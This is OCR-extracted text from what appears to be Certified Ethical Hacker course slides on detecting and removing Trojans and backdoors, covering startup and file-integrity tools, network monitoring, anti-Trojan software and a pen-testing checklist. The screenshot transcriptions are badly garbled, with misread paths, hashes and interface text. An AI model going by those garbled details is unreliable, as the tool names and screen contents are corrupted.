= &) Know DLLS B gﬂxxs; Remote Procedure Call (RPC) Running  D:AWINDOWSIsystem3Zievchost -k rpe
8] Ust OULs (21) a Pasve QoSRSYP Stopped  DA\WINDOWS|system32yrsvp.exe
= %) Appink DLLs a :Sooo'm Print Spooler Rurning  D:AWINDOWS|system3Z|spoclsy, exe
4] Applrit OLLs (1) o Pswery M5 Scftweare Shadow Copy Provider Stoppad  D:AWINDOWSisystem32\dihost .exe P
= {4 Scheduled Tasks o Msysmontog Pesformance Logs and Alerts Stopped  DI\WINDOWS|5ystem32ismiogsve. exe
13 Task Scheduder (3) o STetsvr Teinet Stopped  D:\WINDOWSIsystem32itintsvr.exe
= % IniStartup o Pues Uninterruptible Power Supply Stopped  D:AWINDOWS|System32iups. exe
& Win.ini{1) a [Mvss Yolume Shadow Copy Stopped  DAWINDOWS|System32ivssve.exe
¥ System.ini (1) & MwebClent WebChent Rurning  D:\WINDOWSlsystem32svchost..exe -
8 SJwmiapsey WMI Performance Adapter Stoppad  DAWINDOWSIsystem32iwbemiwmiap: ¥
< >
( 27 ) tems. HKEY_LOCAL_MACHINE\SYSTEM|CurrentControlSet|Sarvices
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L [
Monitoring Tools
Absolute Startup manager
http://www.absolutestartup.com

© Startup Inspector
m

http://www.windowsstartup.com
ActiveStartup
http://www.hexilesoft.com

Nt

%H\ Autoruns

http://technet.microsoft.com
P - Zy StartEd Lite
=1 8

—

~———

http://startedfree.outertech.com

E j‘ Manage PC Startup

= http://www.pc-startup.com

o =

& " Startup Tracker = Program Starter
http://www.dougknox.com

[S—

http://www.ab-tools.com
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Scanning for Suspicious Files and
Folders

rojans normally moc letect system changes
FCIV TRIPWIRE SIGVERIF
It is a command line utility that ¢ Itis an enterprise class system i It checks integrity of critical files
computes MD5 or SHA1 I integrity verifier that scans and  © that have been digitally signed
cryptographic hashes for files reports critical system files for by Microsoft
: changes _ 5 :
- B Signaiure Voriticaiion Resung
ﬁ T frslensirn s hanvs rocd bsmem chigitally sigrmed

C:\ CIV=feiv.exe c\hash.txt — Rt e

// File Checksum Integrity Verifier el

version 2.05. - el sl

1 Sond e, o

6b1fb2f76c139c82253732e1c8824cc2 Svind oo s

c:\hash.txt mﬁ FQUTBRL' iy e s il

P s 3643, Signad Fles: 2505, Unssgreed fles; 54, Ples not scannad: L0,
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Files and Folder Integrity Checkezr:
FastSum and WinMD5

> FastSum 1.7 [Unregistered]
file Edt View Bun Jook: Heb
YA DX B e
Choose the Sles or an entie folder you wank to make check sums of l’ Ne'* Vfdderv
> Altes you save the esults pou will be able 1o check the integrty of your fles
W) Press the Save (ChieS) button 1o save .
] Display the ful path in fie kst
tosteg || Nome SRl WinMD5 v2.04 (C) 2003-2004 by eolson@mit.edu (=13
4 Setuplni 1K8
B Changed &3 Somple Music ik kg | Ele Edit Help
B o 3 Sample Pictures Ink 1K8 '
Currently Processing: (idle) Errors Found §
New 1410051 [£) ReadMets 3KB 0
7] Tures Lbva 4 wg | (0items enqueued)
) Tunes Lixary Exiasiidd 12K8 O L L L O L L L L L L L L L L O L L L L L L L O LT L
= iTures Music Lty sml lqu
B iTunes Liary Genius.idb 2K8 Path | Basn | Bytes | status
1 tockoxpg 43K8 CorruptFile.txt S02afecb4f0725c958214d672¢6144¢6e3 158 BAD
& SetupEm 67 K8 MDSSUM.=dS €2b35914d6EEfanete0d295£727aa734 186 Loaded
£
l_;»; f‘i’:’?"—é’“" ]iﬁz: README . txt 8531d2ad44ca710b033e573208306e89b 2133 Good
&g I siv/ Exe ] e o= ATaE acnal” “ ~an =
T Iretst Ee 1,481 KB WinMDS . exe 0785cb3fbdeaellte23124f5ae5737ab €1440 Goed
Elapsed time: 000000 Average speed 0.00 KB\Sec 4
B
Calculation process has begun ot 97/9/2010 4:15:15 PM
Calcutating the checksums
Calculation completed at 9/9/2010 4:15:15 PM
Processed 15 files in 1 foldess wath total soe 361 MB
Elapsed time: 000000 Average speed 1211 MB\Sec
Clear Abort Number of known md5 hashes found in MDSSUM files: 4
Drag files and MD5SUM files (if available) into this window
http://www.fastsum.com

http://www.blisstonia.com
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and

MD5 Checksum Verifier

http://www.flashplayerpro.com

Advanced CheckSum Verifier
(ACSV)

Integrity Checker

Fsum Fronted
http://fsumfe.sourceforge.net

Verisys

http://www.ionx.co.uk
http:/fwww.irnis.net

— AFICK (Another File
_ Sysinspect — | itv Check
Gy —' http://sysinspect.com nteE"tv ec er]
— http://afick.sourceforge.net
L] . . . :
=l 1| Sentinel r (*‘L'*\\I Xintegrity Professional
d = hitp://www.runtimeware.com l\\*-{f http://www.xintegrity.com
-
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Scanning for Suspicious

Trojans connect back to handlers and send confidential information to attackers

Use network scanners and packet sniffers to monitor network traffic going to malicious
remote addresses

Attacker

Run tools such as Capsa to
monitor network traffic and
look for suspicious activities
sent over the Web
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Detecting Trojans
Network Analyzer

and Worms with Capsa

Capsa is an intuitive network analyzer, which provides detailed information to help check if there

are any Trojan activities on a network

Colasoft Capsa [Capturing]
Fle Edt Vaw Propt  Todk Wedow

] H O. © *
New Open Save Back
8] Projact Exphorer » x|
© froa 13 2@ O O (B[] & - P- %

= " Protecal Explorer (2)
X £ Project 1:2 - Colasoft Capsa [Capturing]

el

o 0 w T A
Sop  Settinzs Adscter Fiter Networh, L

Sy Disgnoses | Endoonts | Protocols
Fle

¥ Fle Edk View Project Took  Window Hep

Surary Dgnses Endoants Protocols | Comeersations Mall

@ Matre Typm = B0

. '
& ¥ e ()
¥
& ¥ a

o Physical Explores (4)

& Local Sagrent (1%)
Gatoways (1)
Broadcast Addesses
Muticast Addresses |

Exphesr (5) e
Local Subnsts (1) o adkicbe con

Ssorimec ot » )| Poet Hoats 1 y
1AMAN2 ¢ 8 200(0) Pacits Sert: 20, Byns S S

Local Hast (1) Pockss Recewed 25, Byt
Gatewary (1) . \ | o,
e y

-
-
B

* Surnary D

& Unization (b

£de
Suvmary | ODisgroses | Endponts | Probocols — Cormersations  Matrix

& Puchat Sicw Distribntion +

s Pootoceh | Comvenstiors Metrie Poctets Legn Guphn Fepors

Interoet AddessesNndess 101700
IP Matrix (Internet Addresses)

Tooh  Wedon e

Yeow  Promct
Packe 9%
R BN R R ) ';'J
Packet Size Distribution (Global)

e & W28
5121023 10241517 [l >«1548

152,160.0.00
192.168.0.89

1200 Mg

rasamam s

1,000 Mxges

=1 Proidt st
Packet Mo

. 500 000 Mhps
No Wers enatied 600 000 Mgy
Ervor packets 0
150

00 D00 Mg
Packats coptured

Packets loat 0

Packets screpted |
Packets rejected 0 |
Butier uzape: | 4w ||

200 000 Khps

1t (Average per second

Obgs

00 14
0 3¢ 00
20 00 00

For Help, press FL

Sunary  Disgnoses  Endpoints  Proto

Utilization (bits)
W Ty ®
Nare
¥ 192.165.0.66 [
g 202 NN
$ on f—
Sgex.mm217 ==
e |
1921680245 |
N wwonw.cobasiol
2006-04-24 162821 2006-04-2¢ 162841
Elapsed Time (Interval: 1 second)
W uszaton (2ex)
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Module Flow

Trojan
Concepts

Trojan
Infection

Types of
Trojans

Counter-
measures

Anti-Trojan
Software

Detection

Penetration
Testing
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N

S.
o))
=

|

Avoid downloading and executing applications from untrusted sources

N
7
Avoid opening email attachments received from unknown senders ‘
| ~-

Install patches and security updates for the operating systems and applications

Scan CDs and floppy disks with antivirus software before using

Avoid accepting the programs transferred by instant messaging
Block all unnecessary ports at the host and firewall
Harden weak, default configuration settings

Disable unused functionality including protocols and services m

Avoid typing the commands blindly and implementing pre-fabricated programs or scripts

Monitor the internal network traffic for odd ports or encrypted traffic

Manage local workstation file integrity through checksums, auditing, and port scanning

Run local versions of anti-virus, firewall, and intrusion detection software on the desktop

Restrict permissions within the desktop environment to prevent malicious applications installation :J
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Backdoor Countermeasures

| Educrte Gsers ] Antivirus Toos

Most commercial anti- Educate users not to Use anti-virus tools
virus products can install applications such as Windows
automatically scan and downloaded from Defender, McAfee,
detect backdoor untrusted Internet and Norton to detect
programs hefore they sites and email and eliminate

can cause damage attachments backdoors
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Trojan Horse Construction Kit

Construct Trojan

\ : :
Trojan Horse construction

kits help attackers to
construct Trojan horses of
their choice
Trojan
Horse
Construction
Kits

The tools in these kits can
be dangerous and can
backfire if not executed

properly
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Module Flow

Trojan
Concepts

Trojan
Infection

Types of
Trojans

Counter-
measures

Anti-Trojan
Software

Detection

Penetration
Testing

Copyright ©® by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

=

http://ceh.vn

(0 NEWS 6

Canified Ethical Hacker

I _.TREIN http://i-train.com.vn
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design




Anti-Trojan Software: TrojanHunter

s TrojanHunter
Fle View Scan Tools Help

¢ &

Q
L
Quick Scan Views Update Exit

Select Folders to Scan
= D @ Desktop
+ O _} Documents
= [0 § Computer
@ [ & 3v2Floppy (A)
}- [] <e» Local Disk (C:)
& [] & cDDrive (D)
o CD Drive (E:)

Registry scan
No suspicious entries found
Inifile scan
No suspicious entries found
Port scan
No suspicious open ports found
Memory scan
No trojans found in memory
File scan (autostarted files, running executables)
No trojan files found

http://www.misec.net
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Anti-Trojan Software: Emsisoft Anti-
Malware

Emsisoft

Traces scanned:

Cookies scanned:

Scanning: Scan finished!

Diagnosis
DW&W

& cat

Dmsmmmmmz

0O xn gc—e.'l'jrg‘g_lt_ng_c_m&g,gorA
O mmmmaxm

D.&Wﬂg&

578019

Objects detected: 31

432

Suspect files have been detected during the scan.

Details

1 traces - medium risk

1 traces - medium risk

1 cookies - low risk

2 cookdes - low risk

1 cooldes - low risk

‘ selected objects || Delete selected objects

(8 NEWS 6

Canified Ethical Hacker

Powered by Emsisoft and Ikarus scanning technology

http://www.emsisoft.com
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Softwares

= ;
5l 1| Trojan Guarder /‘ﬂ Anti Hacker
&O http://www.your-soft.com g http://www.hide-my-ip.com
Anti-Trojan Shield (ATS) XoftSpySE
http://www.atshield.com http://www.paretologic.com
N——

L@i Spyware Doctor M SPYWAREfighter

o - http://www.pctools.com http://www.spamfighter.com

—

Comodo BOClean l- ;‘ Anti Trojan Elite

http://www.comodo.com http://www.remove-trojan.com
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Module Flow

Trojan
Concepts

Trojan
Infection

Types of
Trojans

Counter-
measures

Anti-Trojan
Software

Detection

Penetration
Testing
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& .
cantfor Use tools such as © Scan the system for open ports,
ST s eane IceSword, CurrPorts running processes, registry entries,
open ports . . - :
and TCPView device drivers and services

© |f any suspicious port, process,
registry entry, device driver or
service is discovered, check the
associated executable files

Use tools such as
What's Running
and HijackThis

® Collect more information about
these from publisher’s websites, if
Use tools such as available, and Internet
JV Power Tools e
and Regshot

Check if the open ports are known
to be opened by Trojans in wild

Use tools such as
< ...... deesssnsss DriverView and
Driver Detective

Scan for device

Use tools such as
SrvMan and ServiWin
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. — Pen Testing for Trojans and Backdoors

Use tools such as 8 Check the startup programs and determine if
Starter, Security all the programs in the list can be recognized
AutoRun and Autoruns with known functionalities

& Check the data files for modification or
Use tools such as FCIV, manipulation by opening several files and
TRIPWIRE and SIGVERIF comparing hash value of these files with a pre-
computed hash

Check for suspicious network activities such as
upload of bulk files or unusually high traffic
going to a particular web address

Use tools such as Capsa e
Network Analyzer

Check the critical OS file modification or

Use tools such as FCIV manipulation using tools such as TRIPWIRE or
and TRIPWIRE manually comparing hash values if you have a
backup copy
Use tools such as @ Run an updated Trojan scanner from a

Trojan Hunter and reputed vendor to identify Trojans in wild
Spyware Doctor
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If Trojans ©® Document all your findings in
are NO previous steps; it helps in
detected? x : determining the next action if

' . Trojans are identified in the
: system
- "
YES \/ . ® Isolate infected system from
. the network immediately to

prevent further infection

©® Sanitize the complete system
; : for Trojans using an updated
N St anti-virus

Is u;.)d?ted NO
anti-VIrus  seccsscsssncan Bussaun >

running? x

YES w ¥

Find other anti-virus
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Module “ummary

QO  They are used primarily to gain and retain access on the target system

U They often reside deep in the system and make registry changes that
allow it to meet its purpose as a remote administration tool

W Popular Trojans include MoSucker, RemoteByMail, Illusion Bot, HTTP
RAT, and Zeus

U Awareness and preventive measures are the best defenses against
Trojans
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Quotes

« Never trust anything that can think for itself if you

can't see where it keeps its brain.?7

- J.K. Rowling,
An Author
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